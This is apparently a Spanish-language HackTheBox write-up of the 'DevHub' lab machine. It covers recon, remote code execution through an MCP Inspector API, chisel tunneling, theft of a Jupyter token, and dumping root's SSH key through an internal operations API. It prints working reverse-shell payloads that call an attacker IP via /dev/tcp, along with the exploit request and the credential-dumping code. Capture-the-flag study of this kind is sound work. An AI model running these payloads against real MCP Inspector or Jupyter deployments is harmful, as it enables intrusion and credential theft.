Post

DevHub — HackTheBox Season 11

DevHub — HackTheBox Season 11

Empecé el análisis de esta máquina revisando su tarjeta en HackTheBox:

DevHub - Medium Linux

Reconocimiento

Realicé un escaneo rápido de puertos con nmap para identificar los servicios expuestos:

1
sudo nmap -T5 --open 10.129.4.32 -oG allports

Escaneo rápido con nmap - puertos 22 (SSH) y 80 (HTTP) abiertos

Con los puertos identificados, realicé un escaneo más detallado de versiones y servicios:

1
sudo nmap -sV -sC -p 22,80 10.129.10.113

Escaneo de versiones - SSH OpenSSH 8.9p1, HTTP nginx 1.18.0 con redirect a devhub.htb

El resultado del escaneo detallado reveló:

  • Puerto 22 (SSH): OpenSSH 8.9p1 Ubuntu
  • Puerto 80 (HTTP): nginx 1.18.0 — redirige a http://devhub.htb/

Agregué el host al archivo /etc/hosts:

1
echo "10.129.10.113 devhub.htb" | sudo tee -a /etc/hosts

Enumeración Web

Al visitar http://devhub.htb, encontré una plataforma interna de desarrollo llamada DevHub — Internal Development & Analytics Platform. Exponía tres servicios:

  • MCP Inspector — Herramienta de desarrollo del protocolo MCP. Activo en el puerto 6274.
  • Analytics Dashboard — Entorno Jupyter interno. Solo accesible en localhost:8888.
  • Code Repository — Servidor Git interno. En modo Mantenimiento.

Página principal de DevHub con los tres paneles de servicio

Me dirigí al MCP Inspector en http://devhub.htb:6274. Se trata de una instancia de MCPJam, una herramienta para probar servidores MCP (Model Context Protocol).

MCP Inspector de MCPJam corriendo en el puerto 6274

Explotación — RCE vía MCP (Foothold)

La API del MCP Inspector en /api/mcp/connect acepta una configuración de servidor. Aprovechando esto, envié una petición que ejecuta una reverse shell directamente en el servidor:

1
2
3
curl http://devhub.htb:6274/api/mcp/connect \
  --header "Content-Type: application/json" \
  --data '{"serverConfig":{"command":"bash","args":["-c","bash -i >& /dev/tcp/10.10.14.101/4444 0>&1"],"env":{}},"serverId":"mytest"}'

Comando curl con payload de reverse shell enviado a la API MCP

Obtuve una shell como el usuario mcp-dev. Enumeré los puertos en escucha con netstat:

1
netstat -tulpn

Salida de netstat - se ven puertos internos: 5000, 8888 (Jupyter) y 6274 (MCP)

Confirmé la existencia del servicio Jupyter en localhost:8888 y también un servicio interno en el puerto 5000. Para acceder a ellos desde mi máquina, necesitaba hacer un Port Forwarding.

Port Forwarding con Chisel

Levanté un servidor HTTP en mi máquina atacante para transferir chisel:

1
python3 -m http.server 8000

Servidor HTTP de Python sirviendo el binario de chisel

Desde la shell de la víctima, descargué chisel, le di permisos de ejecución y configuré un túnel reverso para exponer el puerto 8888 de la víctima en mi máquina local:

1
2
chmod +x chisel_1.11.5_linux_amd64
./chisel_1.11.5_linux_amd64 client 10.10.14.101:9001 R:8888:127.0.0.1:8888 &

Descarga de chisel, ejecución y conexión al servidor chisel en el atacante

Acceso a Jupyter — Flag de Usuario

Con el túnel activo, busqué el token de autenticación de Jupyter inspeccionando los procesos:

1
ps aux | grep jupyter

Proceso de Jupyter con el token de autenticación visible en los argumentos

El token extraído fue: a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7

Accedí a Jupyter en http://localhost:8888 e introduje el token para autenticarme:

Página de login de Jupyter con token de autenticación

Una vez dentro, encontré el notebook quarterly_analysis.ipynb. La interfaz de JupyterLab me permitía ejecutar código Python directamente en el servidor:

JupyterLab con el notebook quarterly_analysis.ipynb abierto

Ejecuté código Python para verificar el usuario actual:

1
import os; os.system("whoami")

Ejecución de whoami en Jupyter - resultado: analyst

Confirmé que ejecutaba como el usuario analyst. A continuación, lancé una reverse shell desde Jupyter para obtener una sesión interactiva más estable:

1
/bin/sh -i >& /dev/tcp/10.10.14.101/4444 0>&1

Celda de Jupyter con el comando de reverse shell

Recibí la conexión en mi listener de netcat. Obtuve la flag de usuario:

1
2
3
4
5
6
7
8
9
whoami
# analyst
ls
# quarterly_analysis.ipynb
cd
ls
# jupyter-env  notebooks  user.txt
cat user.txt
# 9a628db93c11f57dd0b2086cb1d96c11

Reverse shell recibida como analyst - flag de usuario obtenida

Escalada de Privilegios — OPSMCP Secret Key

Explorando el sistema de archivos, encontré un servicio interno en /opt/opsmcp/:

1
2
3
4
cd /opt/opsmcp/
ls
# server.py
cat server.py

El archivo server.py reveló ser un servidor Flask llamado OPSMCP — Operations MCP Server, con una API Key hardcodeada en el código:

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/usr/bin/env python3
"""
OPSMCP - Operations MCP Server
Internal tool for system operations management
"""

from flask import Flask, jsonify, request
import os

app = Flask(__name__)

# API Key para autenticación
VALID_API_KEY = "opsmcp_secret_key_4f5a6b7c8d9e0f1a"

Contenido deopt/opsmcp/server.py con la API Key en texto claro

Con la API Key en mano, exploré las funcionalidades del servidor OPSMCP. Ejecuté la función ops._admin_dump con el argumento ssh_keys para volcar las claves SSH del sistema:

1
2
3
4
5
6
7
8
9
10
11
import requests
r = requests.post("http://127.0.0.1:5000/tools/call",
    headers={
        "X-API-Key": "opsmcp_secret_key_4f5a6b7c8d9e0f1a",
        "Content-Type": "application/json"
    },
    json={
        "name": "ops._admin_dump",
        "arguments": {"target": "ssh_keys", "confirm": True}
    })
print(r.json())

La respuesta contuvo la clave privada RSA de root:

Respuesta de la API con la clave privada SSH de root (BEGIN OPENSSH PRIVATE KEY)

Guardé la clave privada extraída en un archivo local:

1
2
3
echo "-----BEGIN OPENSSH PRIVATE KEY-----
...
-----END OPENSSH PRIVATE KEY-----" > id_rsa

Echo de la clave SSH privada de root guardada en id_rsa

Le di los permisos correctos a la clave y me conecté como root vía SSH:

1
2
chmod 600 id_rsa
ssh -i root_key root@devhub.htb

Conexión SSH como root exitosa - flag de root obtenida en Ubuntu 22.04

¡Máquina rooteada exitosamente!

This post is licensed under CC BY 4.0 by the author.